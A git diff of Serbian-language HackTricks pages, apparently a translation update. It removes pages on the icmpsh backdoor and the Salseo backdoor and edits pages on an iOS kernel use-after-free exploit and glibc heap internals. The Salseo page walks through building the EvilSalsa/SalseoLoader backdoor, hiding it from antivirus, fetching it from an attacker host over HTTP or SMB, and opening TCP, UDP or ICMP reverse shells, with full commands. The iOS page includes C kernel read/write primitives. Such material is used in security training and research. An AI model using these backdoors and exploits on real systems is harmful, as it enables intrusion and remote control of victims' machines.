Koristite Linux Memory Extractor (LiME) za ekstrakciju RAM informacija. To je kernel ekstenzija koja treba da se učita putem adb.
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
@ -1,25 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Preuzmite backdoor sa: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
|
||||
|
||||
# Klijentska strana
|
||||
|
||||
Izvršite skriptu: **run.sh**
|
||||
|
||||
**Ako dobijete neku grešku, pokušajte da promenite linije:**
|
||||
```bash
|
||||
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
|
||||
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
|
||||
```
|
||||
**Za:**
|
||||
```bash
|
||||
echo Please insert the IP where you want to listen
|
||||
read IP
|
||||
```
|
||||
# **Strana žrtve**
|
||||
|
||||
Otpremite **icmpsh.exe** na žrtvu i izvršite:
|
||||
```bash
|
||||
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
|
||||
```
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,158 +0,0 @@
|
||||
# Salseo
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Kompajliranje binarnih fajlova
|
||||
|
||||
Preuzmite izvorni kod sa github-a i kompajlirajte **EvilSalsa** i **SalseoLoader**. Biće vam potreban **Visual Studio** instaliran da biste kompajlirali kod.
|
||||
|
||||
Kompajlirajte te projekte za arhitekturu Windows mašine na kojoj ćete ih koristiti (Ako Windows podržava x64, kompajlirajte ih za tu arhitekturu).
|
||||
|
||||
Možete **izabrati arhitekturu** unutar Visual Studio-a u **levom "Build" tabu** u **"Platform Target".**
|
||||
|
||||
(**Ako ne možete pronaći ove opcije, pritisnite na **"Project Tab"** a zatim na **"\<Project Name> Properties"**)
|
||||
|
||||
.png>)
|
||||
|
||||
Zatim, izgradite oba projekta (Build -> Build Solution) (Unutar logova će se pojaviti putanja do izvršnog fajla):
|
||||
|
||||
 (2) (1) (1) (1).png>)
|
||||
|
||||
## Pripremite Backdoor
|
||||
|
||||
Prvo, biće potrebno da kodirate **EvilSalsa.dll.** Da biste to uradili, možete koristiti python skriptu **encrypterassembly.py** ili možete kompajlirati projekat **EncrypterAssembly**:
|
||||
|
||||
### **Python**
|
||||
```
|
||||
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
### Windows
|
||||
```
|
||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
U redu, sada imate sve što vam je potrebno da izvršite sve Salseo stvari: **encoded EvilDalsa.dll** i **binary of SalseoLoader.**
|
||||
|
||||
**Otpremite SalseoLoader.exe binarni fajl na mašinu. Ne bi trebalo da budu otkriveni od strane bilo kog AV...**
|
||||
|
||||
## **Izvršavanje backdoora**
|
||||
|
||||
### **Dobijanje TCP reverzibilne ljuske (preuzimanje kodiranog dll-a putem HTTP-a)**
|
||||
|
||||
Zapamtite da pokrenete nc kao slušača reverzibilne ljuske i HTTP server da poslužite kodirani evilsalsa.
|
||||
```
|
||||
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
|
||||
```
|
||||
### **Dobijanje UDP reverzibilne ljuske (preuzimanje kodirane dll preko SMB)**
|
||||
|
||||
Zapamtite da pokrenete nc kao slušač reverzibilne ljuske, i SMB server da posluži kodirani evilsalsa (impacket-smbserver).
|
||||
```
|
||||
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
||||
```
|
||||
### **Dobijanje ICMP reverzibilne ljuske (kodirana dll već unutar žrtve)**
|
||||
|
||||
**Ovoga puta vam je potreban poseban alat na klijentu da primite reverzibilnu ljusku. Preuzmite:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
|
||||
#### **Onemogućite ICMP odgovore:**
|
||||
```
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
||||
|
||||
#You finish, you can enable it again running:
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
||||
```
|
||||
#### Izvrši klijenta:
|
||||
```
|
||||
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
||||
```
|
||||
#### Unutar žrtve, hajde da izvršimo salseo stvar:
|
||||
```
|
||||
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
||||
```
|
||||
## Kompajliranje SalseoLoader-a kao DLL koji izvozi glavnu funkciju
|
||||
|
||||
Otvorite SalseoLoader projekat koristeći Visual Studio.
|
||||
|
||||
### Dodajte pre glavne funkcije: \[DllExport]
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### Instalirajte DllExport za ovaj projekat
|
||||
|
||||
#### **Alati** --> **NuGet Package Manager** --> **Upravljanje NuGet paketima za rešenje...**
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **Pretražite DllExport paket (koristeći Browse tab), i pritisnite Instaliraj (i prihvatite iskačući prozor)**
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
U vašem projektnom folderu pojavili su se fajlovi: **DllExport.bat** i **DllExport_Configure.bat**
|
||||
|
||||
### **De**instalirajte DllExport
|
||||
|
||||
Pritisnite **Deinstaliraj** (da, čudno je, ali verujte mi, to je neophodno)
|
||||
|
||||
 (1) (1) (2) (1).png>)
|
||||
|
||||
### **Izađite iz Visual Studija i izvršite DllExport_configure**
|
||||
|
||||
Jednostavno **izađite** iz Visual Studija
|
||||
|
||||
Zatim, idite u vaš **SalseoLoader folder** i **izvršite DllExport_Configure.bat**
|
||||
|
||||
Izaberite **x64** (ako planirate da ga koristite unutar x64 okruženja, to je bio moj slučaj), izaberite **System.Runtime.InteropServices** (unutar **Namespace for DllExport**) i pritisnite **Primeni**
|
||||
|
||||
 (1) (1) (1) (1).png>)
|
||||
|
||||
### **Ponovo otvorite projekat sa Visual Studio**
|
||||
|
||||
**\[DllExport]** više ne bi trebao biti označen kao greška
|
||||
|
||||
 (1).png>)
|
||||
|
||||
### Izgradite rešenje
|
||||
|
||||
Izaberite **Tip izlaza = Class Library** (Projekat --> SalseoLoader Svojstva --> Aplikacija --> Tip izlaza = Class Library)
|
||||
|
||||
 (1).png>)
|
||||
|
||||
Izaberite **x64** **platformu** (Projekat --> SalseoLoader Svojstva --> Izgradnja --> Ciljna platforma = x64)
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
Da **izgradite** rešenje: Izgradnja --> Izgradi rešenje (Unutar izlazne konzole će se pojaviti putanja novog DLL-a)
|
||||
|
||||
### Testirajte generisani Dll
|
||||
|
||||
Kopirajte i nalepite Dll gde želite da ga testirate.
|
||||
|
||||
Izvršite:
|
||||
```
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
Ako se ne pojavi greška, verovatno imate funkcionalan DLL!!
|
||||
|
||||
## Dobijanje shel-a koristeći DLL
|
||||
|
||||
Ne zaboravite da koristite **HTTP** **server** i postavite **nc** **listener**
|
||||
|
||||
### Powershell
|
||||
```
|
||||
$env:pass="password"
|
||||
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
|
||||
$env:lhost="10.2.0.5"
|
||||
$env:lport="1337"
|
||||
$env:shell="reversetcp"
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
### CMD
|
||||
```
|
||||
set pass=password
|
||||
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
||||
set lhost=10.2.0.5
|
||||
set lport=1337
|
||||
set shell=reversetcp
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1 +1,3 @@
|
||||
# Arbitrary Write 2 Exec
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,12 +1,14 @@
|
||||
# iOS Exploiting
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Fizičko korišćenje nakon oslobađanja
|
||||
|
||||
Ovo je sažetak iz posta sa [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), a dodatne informacije o eksploatu korišćenjem ove tehnike mogu se naći na [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
Ovo je sažetak iz posta sa [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), a dodatne informacije o eksploataciji koristeći ovu tehniku mogu se naći na [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
|
||||
### Upravljanje memorijom u XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
|
||||
**Virtuelni adresni prostor** za korisničke procese na iOS-u se proteže od **0x0 do 0x8000000000**. Međutim, ove adrese se ne mapiraju direktno na fizičku memoriju. Umesto toga, **kernel** koristi **tabele stranica** za prevođenje virtuelnih adresa u stvarne **fizičke adrese**.
|
||||
**Virtuelni adresni prostor** za korisničke procese na iOS-u se proteže od **0x0 do 0x8000000000**. Međutim, ove adrese se ne mapiraju direktno na fizičku memoriju. Umesto toga, **kernel** koristi **tabele stranica** da prevede virtuelne adrese u stvarne **fizičke adrese**.
|
||||
|
||||
#### Nivoi tabela stranica u iOS-u
|
||||
|
||||
@ -27,16 +29,16 @@ Tabele stranica su organizovane hijerarhijski u tri nivoa:
|
||||
* **Direktno mapiranje (Blok mapiranje)**:
|
||||
* Neki unosi u tabeli stranica direktno **mapiraju opseg virtuelnih adresa** na kontiguitet fizičkih adresa (poput prečice).
|
||||
* **Pokazivač na tabelu stranica deteta**:
|
||||
* Ako je potrebna finija kontrola, unos u jednom nivou (npr. L1) može ukazivati na **tabelu stranica deteta** na sledećem nivou (npr. L2).
|
||||
* Ako je potrebna finija kontrola, unos na jednom nivou (npr. L1) može ukazivati na **tabelu stranica deteta** na sledećem nivou (npr. L2).
|
||||
|
||||
#### Primer: Mapiranje virtuelne adrese
|
||||
|
||||
Recimo da pokušavate da pristupite virtuelnoj adresi **0x1000000000**:
|
||||
|
||||
1. **L1 tabela**:
|
||||
* Kernel proverava L1 unos tabele stranica koji odgovara ovoj virtuelnoj adresi. Ako ima **pokazivač na L2 tabelu stranica**, prelazi na tu L2 tabelu.
|
||||
* Kernel proverava unos u L1 tabeli stranica koji odgovara ovoj virtuelnoj adresi. Ako ima **pokazivač na L2 tabelu stranica**, ide na tu L2 tabelu.
|
||||
2. **L2 tabela**:
|
||||
* Kernel proverava L2 tabelu stranica za detaljnije mapiranje. Ako ovaj unos ukazuje na **L3 tabelu stranica**, nastavlja dalje.
|
||||
* Kernel proverava L2 tabelu stranica za detaljnije mapiranje. Ako ovaj unos ukazuje na **L3 tabelu stranica**, nastavlja tamo.
|
||||
3. **L3 tabela**:
|
||||
* Kernel traži konačni L3 unos, koji ukazuje na **fizičku adresu** stvarne stranice memorije.
|
||||
|
||||
@ -56,7 +58,7 @@ Alternativno, ako L2 unos ukazuje na L3 tabelu:
|
||||
**Fizičko korišćenje nakon oslobađanja** (UAF) se dešava kada:
|
||||
|
||||
1. Proces **alokira** neku memoriju kao **čitljivu i zapisivu**.
|
||||
2. **Tabele stranica** se ažuriraju da mapiraju ovu memoriju na specifičnu fizičku adresu kojoj proces može pristupiti.
|
||||
2. **Tabele stranica** se ažuriraju da mapiraju ovu memoriju na određenu fizičku adresu kojoj proces može pristupiti.
|
||||
3. Proces **dealokira** (oslobađa) memoriju.
|
||||
4. Međutim, zbog **greške**, kernel **zaboravlja da ukloni mapiranje** iz tabela stranica, iako označava odgovarajuću fizičku memoriju kao slobodnu.
|
||||
5. Kernel može zatim **ponovo alocirati ovu "oslobođenu" fizičku memoriju** za druge svrhe, poput **kernel podataka**.
|
||||
@ -70,8 +72,8 @@ Pošto napadač ne može kontrolisati koje specifične kernel stranice će biti
|
||||
|
||||
1. Napadač **stvara veliki broj IOSurface objekata** u kernel memoriji.
|
||||
2. Svaki IOSurface objekat sadrži **magičnu vrednost** u jednom od svojih polja, što olakšava identifikaciju.
|
||||
3. Oni **skeniraju oslobođene stranice** da vide da li je neki od ovih IOSurface objekata sleteo na oslobođenu stranicu.
|
||||
4. Kada pronađu IOSurface objekat na oslobođenoj stranici, mogu ga koristiti za **čitati i pisati kernel memoriju**.
|
||||
3. Oni **skeniraju oslobođene stranice** da vide da li je neki od ovih IOSurface objekata završio na oslobođenoj stranici.
|
||||
4. Kada pronađu IOSurface objekat na oslobođenoj stranici, mogu ga koristiti da **čitaju i pišu kernel memoriju**.
|
||||
|
||||
Više informacija o ovome u [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
|
||||
@ -79,7 +81,7 @@ Više informacija o ovome u [https://github.com/felix-pb/kfd/tree/main/writeups]
|
||||
|
||||
1. **Spray IOSurface objekata**: Napadač stvara mnogo IOSurface objekata sa posebnim identifikatorom ("magična vrednost").
|
||||
2. **Skeniranje oslobođenih stranica**: Proveravaju da li su neki od objekata alocirani na oslobođenoj stranici.
|
||||
3. **Čitanje/Pisanje kernel memorije**: Manipulacijom polja u IOSurface objektu, stiču sposobnost da izvrše **arbitrarna čitanja i pisanja** u kernel memoriji. Ovo im omogućava:
|
||||
3. **Čitanje/Pisanje kernel memorije**: Manipulacijom polja u IOSurface objektu, stiču mogućnost da izvrše **arbitrarna čitanja i pisanja** u kernel memoriji. Ovo im omogućava:
|
||||
* Da koriste jedno polje za **čitati bilo koju 32-bitnu vrednost** u kernel memoriji.
|
||||
* Da koriste drugo polje za **pisanje 64-bitnih vrednosti**, postizajući stabilnu **kernel read/write primitivu**.
|
||||
|
||||
@ -147,7 +149,7 @@ Nakon što postignemo kontrolu nad IOSurface objektom u kernel memoriji (mapiran
|
||||
IOSurface objekat ima dva ključna polja:
|
||||
|
||||
1. **Pokazivač na Broj Korišćenja**: Omogućava **32-bitno čitanje**.
|
||||
2. **Pokazivač na Indeksirani Vreme**: Omogućava **64-bitno pisanje**.
|
||||
2. **Pokazivač na Indeksirani Vremepečat**: Omogućava **64-bitno pisanje**.
|
||||
|
||||
Prepisivanjem ovih pokazivača, preusmeravamo ih na arbitrarne adrese u kernel memoriji, omogućavajući read/write mogućnosti.
|
||||
|
||||
@ -178,7 +180,7 @@ return value;
|
||||
|
||||
Da biste izvršili pisanje:
|
||||
|
||||
1. Prepišite **pokazivač indeksiranog vremenskog pečata** na cilnu adresu.
|
||||
1. Prepišite **pokazivač indeksiranog vremenskog pečata** na ciljanu adresu.
|
||||
2. Koristite metodu `set_indexed_timestamp` da biste napisali 64-bitnu vrednost.
|
||||
```c
|
||||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||||
@ -201,3 +203,6 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
4. **Zloupotrebi Upotrebu-Nakon-Oslobađanja**: Izmeni pokazivače u IOSurface objektu da omogućiš proizvoljno **čitanje/pisanje u kernel** putem IOSurface metoda.
|
||||
|
||||
Sa ovim primitivima, eksploatacija omogućava kontrolisano **32-bitno čitanje** i **64-bitno pisanje** u kernel memoriju. Dalji koraci za jailbreak mogu uključivati stabilnije primitivne operacije čitanja/pisanja, što može zahtevati zaobilaženje dodatnih zaštita (npr., PPL na novijim arm64e uređajima).
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,35 +1,37 @@
|
||||
# Libc Heap
|
||||
|
||||
## Heap Osnove
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Heap Basics
|
||||
|
||||
Heap je u suštini mesto gde program može da skladišti podatke kada zahteva podatke pozivajući funkcije kao što su **`malloc`**, `calloc`... Pored toga, kada ova memorija više nije potrebna, postaje dostupna pozivajući funkciju **`free`**.
|
||||
|
||||
Kao što je prikazano, to je odmah nakon što se binarni kod učita u memoriju (proverite odeljak `[heap]`):
|
||||
Kao što je prikazano, to je odmah nakon što se binarni fajl učita u memoriju (proverite odeljak `[heap]`):
|
||||
|
||||
<figure><img src="../../images/image (1241).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Osnovna Alokacija Chunk-a
|
||||
### Basic Chunk Allocation
|
||||
|
||||
Kada se zatraže neki podaci da budu smešteni u heap, određeni deo heap-a se alocira za njih. Ovaj prostor će pripadati bini i samo će zatraženi podaci + prostor bin zaglavlja + minimalni offset veličine bina biti rezervisani za chunk. Cilj je da se rezerviše što manje memorije bez otežavanja pronalaženja gde se svaki chunk nalazi. Za to se koristi informacija o metapodacima chunk-a da bi se znalo gde se nalazi svaki korišćeni/slobodni chunk.
|
||||
Kada se zatraži skladištenje nekih podataka u heap, određeni deo heap-a se dodeljuje za to. Ovaj prostor će pripadati bini i samo će zatraženi podaci + prostor za zaglavlja bini + minimalni offset veličine bini biti rezervisani za chunk. Cilj je da se rezerviše što je moguće manje memorije bez otežavanja pronalaženja gde se svaki chunk nalazi. Za to se koristi informacija o metapodacima chunk-a da bi se znalo gde se svaki korišćeni/slobodni chunk nalazi.
|
||||
|
||||
Postoje različiti načini za rezervaciju prostora, uglavnom zavisno od korišćenog bina, ali opšta metodologija je sledeća:
|
||||
Postoje različiti načini za rezervaciju prostora, uglavnom zavisno od korišćene bini, ali opšta metodologija je sledeća:
|
||||
|
||||
- Program počinje zahtevajući određenu količinu memorije.
|
||||
- Ako u listi chunk-ova postoji neki dostupan dovoljno veliki da ispuni zahtev, biće korišćen.
|
||||
- To može čak značiti da će deo dostupnog chunk-a biti korišćen za ovaj zahtev, a ostatak će biti dodat u listu chunk-ova.
|
||||
- Ako u listi nema dostupnog chunk-a, ali još uvek ima prostora u alociranoj heap memoriji, upravnik heap-a kreira novi chunk.
|
||||
- Ako nema dovoljno prostora u heap-u da se alocira novi chunk, upravnik heap-a traži od kernela da proširi memoriju alociranu za heap i zatim koristi ovu memoriju za generisanje novog chunk-a.
|
||||
- Ako na listi chunk-ova postoji neki dostupan dovoljno veliki da ispuni zahtev, biće korišćen.
|
||||
- To može čak značiti da će deo dostupnog chunk-a biti korišćen za ovaj zahtev, a ostatak će biti dodat na listu chunk-ova.
|
||||
- Ako na listi nema dostupnog chunk-a, ali još uvek ima prostora u dodeljenoj heap memoriji, menadžer heap-a kreira novi chunk.
|
||||
- Ako nema dovoljno prostora u heap-u da se dodeli novi chunk, menadžer heap-a traži od kernela da proširi memoriju dodeljenu heap-u i zatim koristi ovu memoriju za generisanje novog chunk-a.
|
||||
- Ako sve ne uspe, `malloc` vraća null.
|
||||
|
||||
Napomena: ako zatražena **memorija pređe prag**, **`mmap`** će biti korišćen za mapiranje zatražene memorije.
|
||||
|
||||
## Arenas
|
||||
|
||||
U **multithreaded** aplikacijama, upravnik heap-a mora sprečiti **trke** koje bi mogle dovesti do rušenja. U početku, to je postignuto korišćenjem **globalnog mutex-a** kako bi se osiguralo da samo jedna nit može pristupiti heap-u u isto vreme, ali to je izazvalo **probleme sa performansama** zbog uskog grla izazvanog mutex-om.
|
||||
U **multithreaded** aplikacijama, menadžer heap-a mora sprečiti **race conditions** koje bi mogle dovesti do rušenja. U početku, to je rađeno korišćenjem **globalnog mutex-a** kako bi se osiguralo da samo jedna nit može pristupiti heap-u u isto vreme, ali to je izazvalo **probleme sa performansama** zbog uskog grla uzrokovanog mutex-om.
|
||||
|
||||
Da bi se to rešilo, ptmalloc2 alokator heap-a je uveo "arene", gde **svaka arena** deluje kao **odvojeni heap** sa svojim **vlastitim** podacima **strukture** i **mutex-om**, omogućavajući više niti da obavljaju operacije na heap-u bez ometanja jedna druge, sve dok koriste različite arene.
|
||||
|
||||
Podrazumevana "glavna" arena upravlja operacijama na heap-u za aplikacije sa jednom niti. Kada se **nove niti** dodaju, upravnik heap-a im dodeljuje **sekundarne arene** kako bi smanjio sukobe. Prvo pokušava da poveže svaku novu nit sa neiskorišćenom arenom, kreirajući nove ako je potrebno, do limita od 2 puta broja CPU jezgara za 32-bitne sisteme i 8 puta za 64-bitne sisteme. Kada se dostigne limit, **niti moraju deliti arene**, što može dovesti do potencijalnih sukoba.
|
||||
Podrazumevana "glavna" arena upravlja operacijama na heap-u za aplikacije sa jednom niti. Kada se **nove niti** dodaju, menadžer heap-a im dodeljuje **sekundarne arene** kako bi smanjio sukobe. Prvo pokušava da poveže svaku novu nit sa neiskorišćenom arenom, kreirajući nove ako je potrebno, do limita od 2 puta broja CPU jezgara za 32-bitne sisteme i 8 puta za 64-bitne sisteme. Kada se dostigne limit, **niti moraju deliti arene**, što dovodi do potencijalnog sukoba.
|
||||
|
||||
Za razliku od glavne arene, koja se širi korišćenjem `brk` sistemskog poziva, sekundarne arene kreiraju "subheaps" koristeći `mmap` i `mprotect` kako bi simulirale ponašanje heap-a, omogućavajući fleksibilnost u upravljanju memorijom za multithreaded operacije.
|
||||
|
||||
@ -38,15 +40,15 @@ Za razliku od glavne arene, koja se širi korišćenjem `brk` sistemskog poziva,
|
||||
Subheaps služe kao rezerve memorije za sekundarne arene u multithreaded aplikacijama, omogućavajući im da rastu i upravljaju svojim regionima heap-a odvojeno od glavnog heap-a. Evo kako se subheaps razlikuju od inicijalnog heap-a i kako funkcionišu:
|
||||
|
||||
1. **Inicijalni Heap vs. Subheaps**:
|
||||
- Inicijalni heap se nalazi direktno nakon binarnog koda programa u memoriji, i širi se korišćenjem `sbrk` sistemskog poziva.
|
||||
- Subheaps, koje koriste sekundarne arene, kreiraju se putem `mmap`, sistemskog poziva koji mapira određeni region memorije.
|
||||
- Inicijalni heap se nalazi direktno nakon binarnog fajla programa u memoriji, i širi se korišćenjem `sbrk` sistemskog poziva.
|
||||
- Subheaps, koje koriste sekundarne arene, kreiraju se putem `mmap`, sistemskog poziva koji mapira određeni memorijski region.
|
||||
2. **Rezervacija Memorije sa `mmap`**:
|
||||
- Kada upravnik heap-a kreira subheap, rezerviše veliki blok memorije putem `mmap`. Ova rezervacija ne alocira memoriju odmah; jednostavno označava region koji drugi sistemski procesi ili alokacije ne bi trebali koristiti.
|
||||
- Kada menadžer heap-a kreira subheap, rezerviše veliki blok memorije putem `mmap`. Ova rezervacija ne dodeljuje memoriju odmah; jednostavno označava region koji drugi sistemski procesi ili alokacije ne bi trebali koristiti.
|
||||
- Podrazumevana veličina rezervacije za subheap je 1 MB za 32-bitne procese i 64 MB za 64-bitne procese.
|
||||
3. **Postepeno Širenje sa `mprotect`**:
|
||||
- Rezervisana memorijska oblast je inicijalno označena kao `PROT_NONE`, što ukazuje da kernel ne mora da alocira fizičku memoriju za ovaj prostor još.
|
||||
- Da bi "rastegao" subheap, upravnik heap-a koristi `mprotect` da promeni dozvole stranica sa `PROT_NONE` na `PROT_READ | PROT_WRITE`, podstičući kernel da alocira fizičku memoriju za prethodno rezervisane adrese. Ovaj postepeni pristup omogućava subheap-u da se širi po potrebi.
|
||||
- Kada se ceo subheap iscrpi, upravnik heap-a kreira novi subheap da bi nastavio alokaciju.
|
||||
- Rezervisana memorijska oblast je inicijalno označena kao `PROT_NONE`, što ukazuje da kernel ne mora dodeliti fizičku memoriju ovom prostoru još.
|
||||
- Da bi "rastegao" subheap, menadžer heap-a koristi `mprotect` da promeni dozvole stranica sa `PROT_NONE` na `PROT_READ | PROT_WRITE`, podstičući kernel da dodeli fizičku memoriju prethodno rezervisanim adresama. Ovaj postepeni pristup omogućava subheap-u da se širi po potrebi.
|
||||
- Kada se ceo subheap iscrpi, menadžer heap-a kreira novi subheap kako bi nastavio alokaciju.
|
||||
|
||||
### heap_info <a href="#heap_info" id="heap_info"></a>
|
||||
|
||||
@ -70,7 +72,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
||||
```
|
||||
### malloc_state
|
||||
|
||||
**Svaka heap** (glavna arena ili druge arene niti) ima **`malloc_state` strukturu.**\
|
||||
**Svaka heap** (glavna arena ili druge niti arene) ima **`malloc_state` strukturu.**\
|
||||
Važno je napomenuti da je **glavna arena `malloc_state`** struktura **globalna promenljiva u libc** (stoga se nalazi u libc memorijskom prostoru).\
|
||||
U slučaju **`malloc_state`** struktura heap-ova niti, one se nalaze **unutar vlastitog "heap"-a niti**.
|
||||
|
||||
@ -91,7 +93,7 @@ Postoje neke zanimljive stvari koje treba primetiti iz ove strukture (vidi C kod
|
||||
- `mchunkptr bins[NBINS * 2 - 2];` sadrži **pokazivače** na **prvi i poslednji chunk** malih, velikih i nesortiranih **bins** ( -2 je zato što se indeks 0 ne koristi)
|
||||
- Stoga, **prvi chunk** ovih bins će imati **povratni pokazivač na ovu strukturu** i **poslednji chunk** ovih bins će imati **napredni pokazivač** na ovu strukturu. Što u suštini znači da ako možete **procuriti ove adrese u glavnoj areni** imaćete pokazivač na strukturu u **libc**.
|
||||
- Strukture `struct malloc_state *next;` i `struct malloc_state *next_free;` su povezane liste arena
|
||||
- `top` chunk je poslednji "chunk", koji je u suštini **sva preostala memorija heap-a**. Kada je top chunk "prazan", heap je potpuno iskorišćen i treba zatražiti više prostora.
|
||||
- `top` chunk je poslednji "chunk", koji je u suštini **sva preostala prostor za heap**. Kada je top chunk "prazan", heap je potpuno iskorišćen i treba zatražiti više prostora.
|
||||
- `last reminder` chunk dolazi iz slučajeva kada tačno veličine chunk nije dostupna i stoga je veći chunk podeljen, a pokazivač preostalog dela se ovde postavlja.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
||||
@ -163,7 +165,7 @@ Kao što je prethodno komentarisano, ovi delovi takođe imaju neke metapodatke,
|
||||
|
||||
Metapodaci obično imaju vrednost 0x08B koja označava trenutnu veličinu dela koristeći poslednja 3 bita za označavanje:
|
||||
|
||||
- `A`: Ako je 1, dolazi iz podheap-a, ako je 0, u glavnoj areni je
|
||||
- `A`: Ako je 1, dolazi iz podheap-a, ako je 0, u glavnoj areni
|
||||
- `M`: Ako je 1, ovaj deo je deo prostora dodeljenog sa mmap i nije deo heap-a
|
||||
- `P`: Ako je 1, prethodni deo je u upotrebi
|
||||
|
||||
@ -173,12 +175,12 @@ Zatim, prostor za korisničke podatke, i konačno 0x08B da označi veličinu pre
|
||||
|
||||
- **`fd`**: Pokazivač na sledeći deo
|
||||
- **`bk`**: Pokazivač na prethodni deo
|
||||
- **`fd_nextsize`**: Pokazivač na prvi deo u listi koji je manji od njega samog
|
||||
- **`bk_nextsize`:** Pokazivač na prvi deo u listi koji je veći od njega samog
|
||||
- **`fd_nextsize`**: Pokazivač na prvi deo u listi koji je manji od sebe
|
||||
- **`bk_nextsize`:** Pokazivač na prvi deo u listi koji je veći od sebe
|
||||
|
||||
<figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Obratite pažnju kako povezivanje liste na ovaj način sprečava potrebu za imanjem niza u kojem se registruje svaki pojedinačni deo.
|
||||
|
||||
### Pokazivači na delove
|
||||
@ -259,7 +261,7 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
|
||||
return request2size (req);
|
||||
}
|
||||
```
|
||||
Napomena da se za izračunavanje ukupnog potrebnog prostora `SIZE_SZ` dodaje samo 1 put jer se polje `prev_size` može koristiti za skladištenje podataka, stoga je potreban samo inicijalni zaglavlje.
|
||||
Napomena da se za izračunavanje ukupnog potrebnog prostora `SIZE_SZ` dodaje samo 1 put jer se polje `prev_size` može koristiti za skladištenje podataka, stoga je potreban samo inicijalni header.
|
||||
|
||||
### Preuzmi Chunk podatke i izmeni metapodatke
|
||||
|
||||
@ -363,7 +365,7 @@ people extending or adapting this malloc.
|
||||
/* Set size at footer (only when chunk is not in use) */
|
||||
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
|
||||
```
|
||||
- Dobijte veličinu stvarnih upotrebljivih podataka unutar dela
|
||||
- Dobijte veličinu stvarno upotrebljivih podataka unutar dela
|
||||
```c
|
||||
#pragma GCC poison mchunk_size
|
||||
#pragma GCC poison mchunk_prev_size
|
||||
@ -409,7 +411,7 @@ ptr = malloc(0x10);
|
||||
strcpy(ptr, "panda");
|
||||
}
|
||||
```
|
||||
Postavite tačku prekida na kraju glavne funkcije i hajde da saznamo gde je informacija sačuvana:
|
||||
Postavite breakpoint na kraju glavne funkcije i hajde da saznamo gde je informacija sačuvana:
|
||||
|
||||
<figure><img src="../../images/image (1239).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -421,11 +423,11 @@ Dodatni prostori rezervisani (0x21-0x10=0x11) dolaze od **dodatih zaglavlja** (0
|
||||
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
|
||||
0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena
|
||||
```
|
||||
### Primer višestrukog niti
|
||||
### Multithreading Primer
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Višestruka nit</summary>
|
||||
<summary>Multithread</summary>
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
